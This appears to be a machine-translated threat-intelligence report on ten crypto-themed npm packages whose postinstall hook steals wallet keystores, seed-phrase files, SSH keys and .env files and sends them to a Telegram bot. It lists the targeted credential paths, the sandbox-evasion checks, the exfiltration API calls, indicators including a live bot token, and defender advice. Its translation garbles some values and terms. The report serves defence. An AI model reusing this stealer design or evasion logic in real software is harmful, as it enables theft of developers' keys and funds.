TL; DR
Dana 9. juna 2026. godine, jedan NPM izdavački račun, aicrypto-xzggg, poslano deset paketa sa imenima u kripto i Web3 stilu — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, i još šest.
Svaki paket pokreće isti korisni teret iz postinstall kuka. Prilikom instalacije, provjerava da li se izvršava unutar CI ili sandbox okruženja — ako ne, čita skladišta ključeva novčanika, datoteke s početnim frazama, SSH ključeve i .env datoteke iz šest blockchain ekosistema i prenosi ih Telegram botu.
Jedini indikator koji branitelj može odmah tražiti je ID bota u Telegramu. 8227918239.
Ozbiljnost: kritičan — direktna krađa ključeva za potpisivanje i fraza za oporavak iz razvojne radne stanice.
Napad: Kako funkcioniše
Paketi se reklamiraju kao alati za razvoj blockchaina. package.json je minimalan i usmjerava životni ciklus instalacije na skriptu:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } skripte/postinstall.js je jednolinijski shim koji učitava stvarni korisni teret: zahtijeva(“../src/index.js”). Zato nakon instalacije pokreće se automatski tokom npm install, nije potreban uvoz koda od strane programera — postavljanje paketa u stablo zavisnosti je dovoljno za njegovo izvršavanje.
Lanac ubistava unutra src/index.js su četiri koraka:
- Provjera okoline. Funkcija čuvara odlučuje da li host izgleda kao agent za izgradnju ili sandbox za analizu.
- Kašnjenje. Izvršenje je odloženo iza setTimeout od otprilike 7.4 sekunde.
- Zbirka. Prolazi se kroz fiksnu listu putanja novčanika, ključa i tajnih datoteka; postojeće datoteke se stavljaju u red čekanja.
- Eksfiltracija. Datoteke u redu čekanja šalju se Telegram botu, a prethodi im sažeta poruka.
Lista ciljeva kolekcije obuhvata šest lanaca plus generičke tajne programera. Skraćeno:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local Ukupno dvadeset i jedna putanja. Unosi u direktorijumu kao što su ~/.ethereum/skladište ključeva se proširuju i svaka datoteka unutra se stavlja u red čekanja. Eksfiltracija direktno koristi Telegram Bot API - a pošalji poruku poziv sa sažetkom hosta i datoteke, zatim pošaljiDokument višedijelni prijenos za svaku datoteku:
tekst
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) Sažeta poruka koju kod sastavlja počinje doslovnim nizom znakova KRAĐAČ KRIPTOLUTNIH VALI, nakon čega slijede naziv hosta, korisničko ime, naziv izvornog paketa, broj datoteka i vremenska oznaka.
Šta je novo ovdje
Razlika nije mehanizam krađe — exfile iz npm-a putem Telegrama nakon instalacije hooks je dobro utabano. To je kapija za pogubljenje. Prije nego što bilo šta uradi, korisni teret poziva funkciju koja vraća vrijednost "true" kada host podsjeća na CI runner ili sandbox, i vraća vrijednost ranije kada to čini:
tekst
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) Regeks id-a kontejnera je značajna klauzula: naziv hosta od 12 heksadecimalnih znakova je podrazumijevani oblik koji Docker dodjeljuje kontejner, tako da korisni teret tretira "moj naziv hosta izgleda kao Docker kontejner" kao razlog za neaktivnost. U kombinaciji sa odgodom od sedam sekundi, dizajn favorizuje pokretanje na stvarnoj radnoj stanici programera i ostanak tihim bilo gdje što izgleda kao automatska analiza. Ta kapija je ono što je potisnulo signale dinamičke analize i zadržalo statički tok exfil-a kao primarni dokaz osude.
Timeline
| Datum (UTC) | događaj |
|---|---|
| 2026-06-09 ~02:48 | Prvi paketi u klasteru označeni prilikom objavljivanja (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Članovi s višom verzijom označeni (ethereum-kit-9 na 1.25.36, wallet-sdk-9 u 3.7.73:XNUMX) |
| 2026-06-09 ~03:58–03:59 | Konačni članovi su označeni (defi-tools-39 na 4.26.29, swap-sdk-87 na 4.63.78, farming-tools-12 u 4.68.54:XNUMX) |
| 2026-06-09 | Svih deset je klasifikovano kao zlonamjerno i prijavljeno za uklanjanje iz registra |
Svih deset se pojavilo u roku od otprilike sedamdeset minuta, što je u skladu s jednim skriptiranim objavljivanjem s jednog računa.
Indikatori kompromisa
Mrežni i bihevioralni indikatori (host defangiran):
| pokazatelj | vrijednost |
|---|---|
| Exfil krajnja tačka | api[.]telegram[.]org (API za Telegram Bot) |
| ID bota u Telegramu | 8227918239 |
| Bot token | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| ID Telegram chata | 6433587894 |
| Instalirajte kuku | postinstall → scripts/postinstall.js → src/index.js |
| Marker niz | CRYPTO STEALER u sastavljenoj sažetoj poruci |
| izdavač | aicrypto-xzggg (navedena e-mail adresa vipsyria88@gmail[.]com, neprovjereno) |
Paketi i verzije, svaka sa svojim SHA-256 src/index.js korisni teret (korisni tereti su funkcionalno identični i razlikuju se samo u ugrađenoj oznaci naziva paketa, tako da je svaki heš zaseban):
| paket | verzija | SHA-256 od src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Jednostavan upit za pretragu: pretražite logove instalacije i datoteke zaključavanja za bilo koje od deset imena i pretražite odlazni promet za veze s Telegram Bot API-jem od hostova za izgradnju ili razvoj koji ga inače ne koriste.
Atribucija i uočeno ponašanje
Svih deset paketa je objavljeno s jednog računa, aicrypto-xzggg, čija je navedena e-mail adresa vipsyria88@gmail[.]comNi e-mail adresa ni link za kontrolu izvora nisu verifikovani u metapodacima registra, a račun ima izrazito negativan reputacijski rezultat. Nismo potvrdili ko upravlja računom.
Dva detalja vrijedi izdvojiti iz bilo kakve tvrdnje o identitetu. Prvo, package.json autor terenska očitavanja Alex Smith na svakom paketu, dok je stvarni izdavački račun aicrypto-xzggg; polje autora su samodeklarirani metapodaci i ne utvrđuju autorstvo. Drugo, brojevi verzija se uveliko razlikuju - neki članovi sjede na 1.0.0, drugi na 4.68.54 — što je u skladu s ponovnim korištenjem jednog korisnog tereta za sve novoosnovane nazive paketa, umjesto održavanja stvarnih historija izdanja.
Ponašanje je uniformno u cijelom klasteru: ista lista ciljnih putanja, isti ID bota i ID chata u Telegramu, ista kapija okruženja, isti KRAĐAČ KRIPTOLUTNIH VALI marker. Ta uniformnost je najjača veza između paketa. To je signal istog operatora, a ne identitet.
Uticaj, trendovi i smjernice za branitelje
Izloženost je konkretna. Programer koji instalira bilo koji od ovih paketa na radnu stanicu koja sadrži softverski novčanik, datoteku s početnim frazama ili SSH ključ, te datoteke se čitaju i prenose s hosta u roku od nekoliko sekundi. Fraze za oporavak i ključevi za potpisivanje ne ističu na način na koji ističe token sesije; jednom mnemonik.txt ili Solana id.json napušta mašinu, sredstva koja ona kontroliše su u opasnosti dok se ne premjeste. Isti niz također obuhvata .NS datoteke koje rutinski sadrže API ključeve i vjerodajnice za bazu podataka.
Dva trenda stoje iza ovog klastera. Prvi je kontinuirana upotreba kripto i Web3 imena kako bi se privukla specifična publika - programeri koji drže novčanike i ključeve na istoj mašini na kojoj instaliraju zavisnosti. Drugi je sazrijevanje izbjegavanja sandboxa u korisnim teretima tokom instalacije. Kapija koja provjerava CI varijable okruženja, korisnička imena runnera i oblik imena hosta Docker kontejnera je namjeran napor da se drugačije ponaša tokom analize nego na stvarnoj radnoj stanici i podiže ljestvicu za čisto dinamičko otkrivanje.
Za defanzivce:
Instalirajte sa podrazumevano onemogućenim skriptama. npm instalacija –ignore-scriptsili postavite ignore-scripts=true in .npmrc, sprečava nakon instalacije izvršenje; omogućite skripte samo za specifične zavisnosti kojima su zaista potrebne.
Držite novčanike i ključeve za potpisivanje dalje od mašina za izgradnju i razvoj. Koristite hardverski novčanik ili namjenski host za potpisivanje bez zavisnosti.
Obradujte .NS, skladišta ključeva i datoteke s početnim frazama kao krunske dragulje. Nikada ne bi smjele biti u direktoriju koji je ujedno i npm install radno drvo.
Tražite odlazne veze prema Telegram Bot API-ju od CI i developerskih hostova. Većina okruženja za izgradnju ga nikada ne poziva; ono koje to iznenada učini, odmah nakon instalacije, vrijedi istražiti.
Zavisnosti za prikvačivanje i pregled. Potpuno novi paket sa generičkim kripto nazivom, nakon instalacije hook, i nijedna veza do repozitorija ne zahtijeva pregled prije nego što uđe u lockfile.
Klauzula o izbjegavanju identifikacije kontejnera je također podsjetnik za analitičare: korisni teret instalacije koji ostaje neaktivan u sandboxu nije bezopasan, već selektivan. Statički pregled putanje instalacije ostaje pouzdan način da se vidi šta dinamičko izvršenje može odbiti da pokaže.
reference
dokumentacija za instalaciju npm-a — skripte životnog ciklusa i –ignor-skripte— referenca za onemogućavanje automatske instalacije hooks.





